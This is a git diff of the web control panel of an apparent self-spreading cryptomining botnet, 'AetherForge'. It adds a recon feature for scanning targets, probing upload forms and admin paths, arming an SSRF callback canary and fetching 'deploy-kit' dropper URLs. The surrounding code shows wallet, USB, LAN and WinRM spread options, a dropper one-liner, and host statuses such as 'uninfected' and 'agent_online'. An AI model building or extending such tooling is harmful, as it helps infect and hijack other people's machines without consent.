||||||
@@ -14,7 +14,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
sign_cert_thumbprint: '/docs/#forge',
|
sign_cert_thumbprint: '/docs/#forge',
|
||||||
sign_timestamp_url: '/docs/#forge',
|
sign_timestamp_url: '/docs/#forge',
|
||||||
|
|
||||||
// Forge — core
|
// Forge — core
|
||||||
worker_name: '/docs/#forge',
|
worker_name: '/docs/#forge',
|
||||||
server_url: '/docs/#quick-start',
|
server_url: '/docs/#quick-start',
|
||||||
wallet: '/docs/#mining',
|
wallet: '/docs/#mining',
|
||||||
@@ -69,7 +69,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
sigil_scramble: '/docs/#forge',
|
sigil_scramble: '/docs/#forge',
|
||||||
https_beacon_fallback: '/docs/#agent',
|
https_beacon_fallback: '/docs/#agent',
|
||||||
|
|
||||||
// Forge — spread & ops
|
// Forge — spread & ops
|
||||||
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
|
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
|
||||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
@@ -147,7 +147,19 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
crucible_full_audit: '/docs/#crucible-ops',
|
dr_scan_profile: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_port_bundle: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
|
dr_form_fingerprint: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_ssrf_canary: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_upload_admin_map: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_tech_stack: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_banner_grab: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
|
dr_relay_scan: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
|
dr_action_matrix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_playbook_wizard: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_history: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
dr_export_json: '/docs/SPREAD_TECHNIQUES.html#browser', crucible_full_audit: '/docs/#crucible-ops',
|
||||||
bm_pin_dropper: '/docs/#build-manager',
|
bm_pin_dropper: '/docs/#build-manager',
|
||||||
bm_dropper_oneliner: '/docs/#build-manager',
|
bm_dropper_oneliner: '/docs/#build-manager',
|
||||||
pt_path_tracer: '/docs/#path-tracer',
|
pt_path_tracer: '/docs/#path-tracer',
|
||||||
@@ -176,3 +188,4 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
export function docAnchorForField(field: string): string | undefined {
|
export function docAnchorForField(field: string): string | undefined {
|
||||||
return DOC_ANCHORS[field];
|
return DOC_ANCHORS[field];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -119,6 +119,19 @@ describe('UI_HELP', () => {
|
|||||||
'dr_fleet_subnet_filter',
|
'dr_fleet_subnet_filter',
|
||||||
'dr_fleet_port_filter',
|
'dr_fleet_port_filter',
|
||||||
'dr_fleet_sort',
|
'dr_fleet_sort',
|
||||||
|
'dr_export_json',
|
||||||
|
'dr_history',
|
||||||
|
'dr_playbook_wizard',
|
||||||
|
'dr_action_matrix',
|
||||||
|
'dr_relay_scan',
|
||||||
|
'dr_banner_grab',
|
||||||
|
'dr_deploy_kit',
|
||||||
|
'dr_tech_stack',
|
||||||
|
'dr_upload_admin_map',
|
||||||
|
'dr_ssrf_canary',
|
||||||
|
'dr_form_fingerprint',
|
||||||
|
'dr_port_bundle',
|
||||||
|
'dr_scan_profile',
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
it('defines help for every documented UI key', () => {
|
it('defines help for every documented UI key', () => {
|
||||||
|
|||||||
@@ -245,4 +245,30 @@ export const UI_HELP: Record<string, string> = {
|
|||||||
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
|
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
|
||||||
dr_fleet_sort:
|
dr_fleet_sort:
|
||||||
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
|
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
|
||||||
|
dr_scan_profile:
|
||||||
|
'Quick runs the default fleet port matrix and a shallow crawl. Deep adds banners, admin paths, and more pages. SSRF only skips port dial and arms the canary for reflective URL fields.',
|
||||||
|
dr_port_bundle:
|
||||||
|
'Optional port profile sent as profiles[] on POST /api/v1/recon/scan (web, windows, linux, cloud_metadata). Fleet default uses the server quick matrix.',
|
||||||
|
dr_form_fingerprint:
|
||||||
|
'High-scoring form fields from the crawl with suggested paste targets (SSRF canary URL or /get probe).',
|
||||||
|
dr_ssrf_canary:
|
||||||
|
'HTTPS callback URL on your control server (/recon/ping/{scan_id}). Poll status and listen for recon_canary_hit over the operator WebSocket.',
|
||||||
|
dr_upload_admin_map:
|
||||||
|
'Merged upload-hunter hits and probed admin/login paths with HTTP status and signal tags.',
|
||||||
|
dr_tech_stack:
|
||||||
|
'Stack hints from port banners and HTML crawl (framework, CMS, server headers).',
|
||||||
|
dr_deploy_kit:
|
||||||
|
'Suggested join lane for GET /api/v1/recon/deploy-kit on this host after scan (open ports + crawl signals).',
|
||||||
|
dr_banner_grab:
|
||||||
|
'Service banners and HTTP titles from open web ports during deep scans.',
|
||||||
|
dr_relay_scan:
|
||||||
|
'POST /api/v1/recon/relay-scan from a fleet seed on the target /24 when the control server cannot reach the host directly.',
|
||||||
|
dr_action_matrix:
|
||||||
|
'Ranked spread lanes from recommendations and open ports with quick links to playbook and Crucible spread tab.',
|
||||||
|
dr_playbook_wizard:
|
||||||
|
'Modal tree of recommended lanes for the current target with Crucible deep links.',
|
||||||
|
dr_history:
|
||||||
|
'Server and local scan history for the target host; click a row to reload that report in the UI.',
|
||||||
|
dr_export_json:
|
||||||
|
'Download the raw ReconScanReport JSON for ticketing or offline diff.',
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -307,3 +307,192 @@
|
|||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
gap: 0.35rem;
|
gap: 0.35rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.dr-scan-actions {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
grid-column: 1 / -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-profile-row,
|
||||||
|
.dr-bundle-row {
|
||||||
|
grid-column: 1 / -1;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-field-label {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.68rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-chip-row {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-chip {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.68rem;
|
||||||
|
padding: 0.35rem 0.65rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||||
|
background: rgba(255, 255, 255, 0.04);
|
||||||
|
color: var(--text-muted);
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-chip.active {
|
||||||
|
border-color: rgba(0, 232, 245, 0.5);
|
||||||
|
background: rgba(0, 232, 245, 0.12);
|
||||||
|
color: #9efcff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-port-matrix-streaming .dr-port-cell.pending {
|
||||||
|
opacity: 0.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-banner-panel,
|
||||||
|
.dr-canary-panel {
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.06);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 0.65rem 0.75rem;
|
||||||
|
background: rgba(0, 0, 0, 0.18);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-banner-list,
|
||||||
|
.dr-stack-list,
|
||||||
|
.dr-history-list {
|
||||||
|
list-style: none;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.45rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-canary-badge {
|
||||||
|
margin-left: 0.5rem;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
padding: 2px 6px;
|
||||||
|
border-radius: 3px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-canary-badge.pending {
|
||||||
|
color: var(--neon-amber, #ffb347);
|
||||||
|
border: 1px solid rgba(255, 180, 60, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-canary-badge.confirmed {
|
||||||
|
color: #7dffb0;
|
||||||
|
border: 1px solid rgba(80, 220, 120, 0.4);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-admin-table,
|
||||||
|
.dr-action-table {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-admin-table th,
|
||||||
|
.dr-action-table th {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--text-muted);
|
||||||
|
text-align: left;
|
||||||
|
padding: 0.35rem 0.5rem;
|
||||||
|
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-admin-table td,
|
||||||
|
.dr-action-table td {
|
||||||
|
padding: 0.4rem 0.5rem;
|
||||||
|
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-fp-grid {
|
||||||
|
display: grid;
|
||||||
|
gap: 0.55rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-fp-card {
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 0.55rem 0.65rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-history {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.65rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-history-item {
|
||||||
|
width: 100%;
|
||||||
|
text-align: left;
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 0.45rem 0.55rem;
|
||||||
|
background: rgba(0, 0, 0, 0.2);
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-history-meta {
|
||||||
|
display: block;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
margin-top: 0.2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-modal-backdrop {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
background: rgba(0, 0, 0, 0.65);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
z-index: 1200;
|
||||||
|
padding: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-modal {
|
||||||
|
width: min(520px, 100%);
|
||||||
|
max-height: 80vh;
|
||||||
|
overflow: auto;
|
||||||
|
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||||
|
border-radius: 8px;
|
||||||
|
background: var(--panel-bg, #0d1118);
|
||||||
|
padding: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-modal-head {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-bottom: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-playbook-tree li.focused a {
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-deploy-kit-hint {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.dr-relay-via {
|
||||||
|
font-size: 0.76rem;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|||||||
@@ -74,6 +74,10 @@ describe('DeployReconPage', () => {
|
|||||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||||
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
|
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
|
||||||
|
vi.spyOn(api, 'getReconHistory').mockResolvedValue({ entries: [] });
|
||||||
|
vi.spyOn(api, 'listCampaignHits').mockResolvedValue({ campaigns: [{ campaign: 'lab' }] });
|
||||||
|
vi.spyOn(api, 'getReconDeployKit').mockResolvedValue({ ok: true, host: 'scan.lab' });
|
||||||
|
vi.spyOn(api, 'reconRelayScan').mockResolvedValue({ ok: false, error: 'unreachable' });
|
||||||
vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({
|
vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({
|
||||||
hosts: [
|
hosts: [
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
/** Fleet recon — credential graph, service graph, vuln findings (mirrors agent/server JSON). */
|
/** Fleet recon - credential graph, service graph, vuln findings (mirrors agent/server JSON). */
|
||||||
|
|
||||||
export type VulnSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info' | string;
|
export type VulnSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info' | string;
|
||||||
|
|
||||||
@@ -45,7 +45,7 @@ export interface ServiceGraphResponse {
|
|||||||
services: ServiceGraphNode[];
|
services: ServiceGraphNode[];
|
||||||
}
|
}
|
||||||
|
|
||||||
/** GET /api/v1/recon/deploy-kit — lane-specific spread kit for a recon host. */
|
/** GET /api/v1/recon/deploy-kit - lane-specific spread kit for a recon host. */
|
||||||
export interface ReconDeployKitDropperURLs {
|
export interface ReconDeployKitDropperURLs {
|
||||||
get?: string;
|
get?: string;
|
||||||
get_windows?: string;
|
get_windows?: string;
|
||||||
@@ -80,7 +80,7 @@ export interface ReconDeployKitResponse {
|
|||||||
error?: string;
|
error?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** POST /api/v1/fleet/spread-to-host — seed discover_and_join toward unreachable IP. */
|
/** POST /api/v1/fleet/spread-to-host - seed discover_and_join toward unreachable IP. */
|
||||||
export interface FleetSpreadToHostRequest {
|
export interface FleetSpreadToHostRequest {
|
||||||
host: string;
|
host: string;
|
||||||
finding?: string;
|
finding?: string;
|
||||||
@@ -107,7 +107,9 @@ export interface FleetSpreadToHostResponse {
|
|||||||
crucible_link?: string;
|
crucible_link?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** POST /api/v1/recon/scan — owned-target browser deploy recon. */
|
/** POST /api/v1/recon/scan - owned-target browser deploy recon. */
|
||||||
|
|
||||||
|
export type ReconScanProfile = 'quick' | 'deep' | 'ssrf_only';
|
||||||
|
|
||||||
export interface ReconScanRequest {
|
export interface ReconScanRequest {
|
||||||
host: string;
|
host: string;
|
||||||
@@ -116,6 +118,7 @@ export interface ReconScanRequest {
|
|||||||
paths?: string[];
|
paths?: string[];
|
||||||
profile?: string;
|
profile?: string;
|
||||||
profiles?: string[];
|
profiles?: string[];
|
||||||
|
ssrf_canary?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface ReconPortResult {
|
export interface ReconPortResult {
|
||||||
@@ -154,12 +157,53 @@ export interface ReconURLFieldFinding {
|
|||||||
hint: string;
|
hint: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export interface ReconFormFieldFingerprint {
|
||||||
|
page_url: string;
|
||||||
|
name: string;
|
||||||
|
id?: string;
|
||||||
|
placeholder?: string;
|
||||||
|
score: number;
|
||||||
|
matches?: string[];
|
||||||
|
paste_target?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconUploadHunterFinding {
|
||||||
|
page_url: string;
|
||||||
|
target?: string;
|
||||||
|
source: string;
|
||||||
|
method?: string;
|
||||||
|
tags?: string[];
|
||||||
|
score: number;
|
||||||
|
status_code?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconAdminSurfaceFinding {
|
||||||
|
path: string;
|
||||||
|
url: string;
|
||||||
|
status_code: number;
|
||||||
|
signal: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconSsrfCanaryInfo {
|
||||||
|
scan_id: string;
|
||||||
|
url: string;
|
||||||
|
status: string;
|
||||||
|
paste_target: string;
|
||||||
|
paste_field_name?: string;
|
||||||
|
paste_field_id?: string;
|
||||||
|
hit_at?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type ReconSsrfCanaryStatus = ReconSsrfCanaryInfo;
|
||||||
|
|
||||||
export interface ReconCrawlReport {
|
export interface ReconCrawlReport {
|
||||||
pages_fetched: number;
|
pages_fetched: number;
|
||||||
pages?: { url: string; status_code: number; title?: string }[];
|
pages?: { url: string; status_code: number; title?: string }[];
|
||||||
file_inputs?: ReconFormFinding[];
|
file_inputs?: ReconFormFinding[];
|
||||||
multipart_forms?: ReconFormFinding[];
|
multipart_forms?: ReconFormFinding[];
|
||||||
url_fields?: ReconURLFieldFinding[];
|
url_fields?: ReconURLFieldFinding[];
|
||||||
|
fingerprint_fields?: ReconFormFieldFingerprint[];
|
||||||
|
upload_hunter?: ReconUploadHunterFinding[];
|
||||||
ssrf_score: number;
|
ssrf_score: number;
|
||||||
cms_fingerprints?: string[];
|
cms_fingerprints?: string[];
|
||||||
stack?: ReconStackEntry[];
|
stack?: ReconStackEntry[];
|
||||||
@@ -184,6 +228,8 @@ export interface ReconScanReport {
|
|||||||
stack?: ReconStackEntry[];
|
stack?: ReconStackEntry[];
|
||||||
deploy_kit_lane?: string;
|
deploy_kit_lane?: string;
|
||||||
crawl?: ReconCrawlReport;
|
crawl?: ReconCrawlReport;
|
||||||
|
admin_surface?: ReconAdminSurfaceFinding[];
|
||||||
|
canary?: ReconSsrfCanaryInfo;
|
||||||
relay_via?: string;
|
relay_via?: string;
|
||||||
udp_hints?: { port: number; open: boolean; service?: string }[];
|
udp_hints?: { port: number; open: boolean; service?: string }[];
|
||||||
path_tracer_hints?: string[];
|
path_tracer_hints?: string[];
|
||||||
@@ -204,7 +250,39 @@ export interface ReconWebFindingCard {
|
|||||||
mermaid?: string;
|
mermaid?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** GET /api/v1/recon/discovered-hosts — agent subnet recon store. */
|
export interface ReconScanDiff {
|
||||||
|
new_ports?: number[];
|
||||||
|
new_forms?: ReconFormFinding[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconHistoryEntry {
|
||||||
|
scan_id: string;
|
||||||
|
host: string;
|
||||||
|
profile?: string;
|
||||||
|
status?: string;
|
||||||
|
scanned_at: string;
|
||||||
|
report: ReconScanReport;
|
||||||
|
diff?: ReconScanDiff;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconHistoryResponse {
|
||||||
|
entries: ReconHistoryEntry[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconRelayScanRequest {
|
||||||
|
host: string;
|
||||||
|
udp_guess?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReconRelayScanResponse {
|
||||||
|
ok: boolean;
|
||||||
|
agent_id?: string;
|
||||||
|
agent_name?: string;
|
||||||
|
error?: string;
|
||||||
|
report?: ReconScanReport;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** GET /api/v1/recon/discovered-hosts - agent subnet recon store. */
|
||||||
export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online';
|
export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online';
|
||||||
|
|
||||||
export interface DiscoveredHost {
|
export interface DiscoveredHost {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# AetherForge Test Suite
|
# AetherForge Test Suite
|
||||||
|
|
||||||
**Current counts (2026-06-07):** Go server **1001** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
**Current counts (2026-06-07):** Go server **1007** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||||||
|
|
||||||
## Master validation (operator commands)
|
## Master validation (operator commands)
|
||||||
|
|
||||||
@@ -17,7 +17,7 @@ After parallel agent landings, run from repo root:
|
|||||||
| **P2 focused** | `.\scripts\test-suite.ps1 -P2` | Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E |
|
| **P2 focused** | `.\scripts\test-suite.ps1 -P2` | Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E |
|
||||||
| **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |
|
| **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |
|
||||||
| **Deploy Recon** | `.\scripts\test-suite.ps1 -Recon` | `internal/recon`, recon API + deploy-kit, Deploy Recon Vitest + `deploy-recon.spec.ts` E2E (unless `-SkipE2E`) |
|
| **Deploy Recon** | `.\scripts\test-suite.ps1 -Recon` | `internal/recon`, recon API + deploy-kit, Deploy Recon Vitest + `deploy-recon.spec.ts` E2E (unless `-SkipE2E`) |
|
||||||
| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages + `fleetDiscoveries` Vitest |
|
| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages; server `go test ./internal/api/... ./internal/db/... -run Subnet`; `fleetDiscoveries` Vitest |
|
||||||
|
|
||||||
Feature slices (single-feature regression after parallel agent landings; each exits after its phase):
|
Feature slices (single-feature regression after parallel agent landings; each exits after its phase):
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user